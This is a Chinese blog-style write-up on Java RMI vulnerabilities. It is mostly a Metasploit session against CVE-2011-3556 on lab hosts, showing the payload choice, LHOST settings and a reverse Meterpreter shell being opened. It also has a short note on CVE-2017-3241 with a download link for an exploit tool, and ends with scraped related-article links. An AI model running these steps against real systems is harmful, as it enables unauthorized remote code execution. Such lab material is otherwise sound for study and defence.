CVE-2011-3556

该模块利用了RMI的默认配置。注册表和RMI激活服务,允许加载类来自任何远程(HTTP)URL。当它在RMI中调用一个方法时分布式垃圾收集器,可通过每个RMI使用endpoint,它可以用于rmiregist和rmid,以及对大多

漏洞利用:

漏洞常用端口1099

  1. msf5 > use exploit/multi/misc/java_rmi_server
  2. msf5 exploit(multi/misc/java_rmi_server) > show options
  3.  
  4. Module options (exploit/multi/misc/java_rmi_server):
  5.  
  6. Name Current Setting Required Description
  7. ---- --------------- -------- -----------
  8. HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
  9. RHOST yes The target address
  10. RPORT 1099 yes The target port (TCP)
  11. SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
  12. SRVPORT 8080 yes The local port to listen on.
  13. SSL false no Negotiate SSL for incoming connections
  14. SSLCert no Path to a custom SSL certificate (default is randomly generated)
  15. URIPATH no The URI to use for this exploit (default is random)
  16.  
  17. Exploit target:
  18.  
  19. Id Name
  20. -- ----
  21. 0 Generic (Java Payload)
  22.  
  23. msf5 exploit(multi/misc/java_rmi_server) > set rhost 172.16.20.134
  24. rhost => 172.16.20.134
  1. msf5 exploit(multi/misc/java_rmi_server) > show payloads
  2.  
  3. Compatible Payloads
  4. ===================
  5.  
  6. # Name Disclosure Date Rank Check Description
  7. - ---- --------------- ---- ----- -----------
  8. 0 generic/custom normal No Custom Payload
  9. 1 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
  10. 2 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
  11. 3 java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
  12. 4 java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
  13. 5 java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
  14. 6 java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
  15. 7 java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
  16. 8 java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
  17. 9 java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
  18. 10 java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
  19. 11 java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
  20. 12 multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Mulitple Architectures)
  21. 13 multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Mulitple Architectures)
  22.  
  23. msf5 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
  1. msf5 exploit(multi/misc/java_rmi_server) > show options
  2.  
  3. Module options (exploit/multi/misc/java_rmi_server):
  4.  
  5. Name Current Setting Required Description
  6. ---- --------------- -------- -----------
  7. HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
  8. RHOSTS 172.16.20.207 yes The target address range or CIDR identifier
  9. RPORT 1099 yes The target port (TCP)
  10. SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
  11. SRVPORT 8080 yes The local port to listen on.
  12. SSL false no Negotiate SSL for incoming connections
  13. SSLCert no Path to a custom SSL certificate (default is randomly generated)
  14. URIPATH no The URI to use for this exploit (default is random)
  15.  
  16. Payload options (java/meterpreter/reverse_tcp):
  17.  
  18. Name Current Setting Required Description
  19. ---- --------------- -------- -----------
  20. LHOST 172.16.20.134 yes The listen address (an interface may be specified)
  21. LPORT 4444 yes The listen port
  22.  
  23. Exploit target:
  24.  
  25. Id Name
  26. -- ----
  27. 0 Generic (Java Payload)
  1. msf5 exploit(multi/misc/java_rmi_server) > set lhost 172.16.20.134
  2. lhost => 172.16.20.134
  3. msf5 exploit(multi/misc/java_rmi_server) > run
  4.  
  5. [*] Started reverse TCP handler on 172.16.20.134:4444
  6. [*] 172.16.20.207:1099 - Using URL: http://0.0.0.0:8080/dPdVbFGof9
  7. [*] 172.16.20.207:1099 - Local IP: http://172.16.20.134:8080/dPdVbFGof9
  8. [*] 172.16.20.207:1099 - Server started.
  9. [*] 172.16.20.207:1099 - Sending RMI Header...
  10. [*] 172.16.20.207:1099 - Sending RMI Call...
  11. [*] 172.16.20.207:1099 - Replied to request for payload JAR
  12. [*] Sending stage (53844 bytes) to 172.16.20.207
  13. [*] Meterpreter session 1 opened (172.16.20.134:4444 -> 172.16.20.207:52793) at 2019-08-15 18:33:28 +0800
  14. [*] 172.16.20.207:1099 - Server stopped.

反弹shell,利用成功

CVE-2017-3241

漏洞利用机制:1.存在反序列化传输。2.存在有缺陷的第三方库如commons-collections ,或者知道公开的类名

小天之天的测试工具:https://pan.baidu.com/s/1pb-br4vhKT6JlT6MmjHqGg 密码:jkl8

Java rmi漏洞利用及原理记录的更多相关文章

  1. Java RMI 的使用及原理

    1.示例 三个角色:RMIService.RMIServer.RMIClient.(RMIServer向RMIService注册Stub.RMIService在RMIClient lookup时向其提 ...

  2. Windows漏洞利用技术概述

    Windows漏洞利用技术总结 1. 前言 本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions.Answer.Discussions)的一次实践.本文通过阅读几位大牛的文章.演 ...

  3. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  4. Java反序列化漏洞原理解析(案例未完善后续补充)

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...

  5. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  6. 独家分析:安卓“Janus”漏洞的产生原理及利用过程

    近日,Google在12月发布的安卓系统安全公告中披露了一个名为"Janus"安卓漏洞(漏洞编号:CVE-2017-13156).该漏洞可以让攻击者绕过安卓系统的signature ...

  7. Struts2漏洞利用原理及OGNL机制

    Struts2漏洞利用原理及OGNL机制研究   概述 在MVC开发框架中,数据会在MVC各个模块中进行流转.而这种流转,也就会面临一些困境,就是由于数据在不同MVC层次中表现出不同的形式和状态而造成 ...

  8. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  9. JAVA RMI分布式原理和应用

    RMI(Remote Method Invocation)是JAVA早期版本(JDK 1.1)提供的分布式应用解决方案,它作为重要的API被广泛的应用在EJB中.随着互联网应用的发展,分布式处理任务也 ...

随机推荐

  1. 线段树 离散化 E. Infinite Inversions E. Physical Education Lessons

    题目一:E. Infinite Inversions 这个题目没什么思维量,还比较简单,就是离散化要加上每一个值的后面一个值,然后每一个值放进去的不是1 ,而是这个值与下一个点的差值. 因为这个数代表 ...

  2. H - Fire CodeForces - 864E 01背包

    https://codeforces.com/problemset/problem/864/E 这个题目要把这个按照物品毁灭时间进行排序,如果时间短就要排在前面,这个是因为要保证之后的物品的拯救不会影 ...

  3. 【Hadoop离线基础总结】通过Java代码执行Shell命令

    通过Java代码执行Shell命令 需求 在实际工作中,总会有些时候需要我们通过java代码通过远程连接去linux服务器上面执行一些shell命令,包括一些集群的状态管理,执行任务,集群的可视化界面 ...

  4. 【MySQL基础总结】索引的使用

    索引的使用 概述 1.索引由数据库中一列或多列组合而成,其作用是提高对表中数据的查询速度 2.索引的优点是可以提高检索数据的速度 3.缺点是创建和维护索引需要耗费时间 4.所以索引可以提高查询速度,减 ...

  5. DNSlog注入学习

    之前一直有看到过DNSlog这个字眼,但一直没有好好去了解一下,最近又接触到了刚好来深入学习下 0x01 什么是DNSlog 我们都知道DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com ...

  6. CentOS6.5x64采用静默模式安装64位oracle11g

    1.下载oracle11g64位版本的源文件,并上传到Linux服务器,下载地址自行百度,若实在找不到请留言. 2.Package安装检查安装: 通过yum工具直接安装: yum -y install ...

  7. 基于MySQL 的 SQL 优化总结

    文章首发于我的个人博客,欢迎访问.https://blog.itzhouq.cn/mysql1 基于MySQL 的 SQL 优化总结 在数据库运维过程中,优化 SQL 是 DBA 团队的日常任务.例行 ...

  8. LUNIX命令集

    Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 和 UNIX 的多用户.多任务.支持多线程和多 CPU 的操作系统. Linux 能运行主要的 UNIX 工具软件 ...

  9. python 机器学习(二)分类算法-k近邻算法

      一.什么是K近邻算法? 定义: 如果一个样本在特征空间中的k个最相似(即特征空间中最邻近)的样本中的大多数属于某一个类别,则该样本也属于这个类别. 来源: KNN算法最早是由Cover和Hart提 ...

  10. 类linux 系统上端口被占用

    好几次遇到这问题,明明Ctrl+C退出了node,但是下次启动的时候总是会报错: listen EADDRINUSE :::80 之类的. 这时候可能是被占用,也可能是上次进程没有真的退出. ps - ...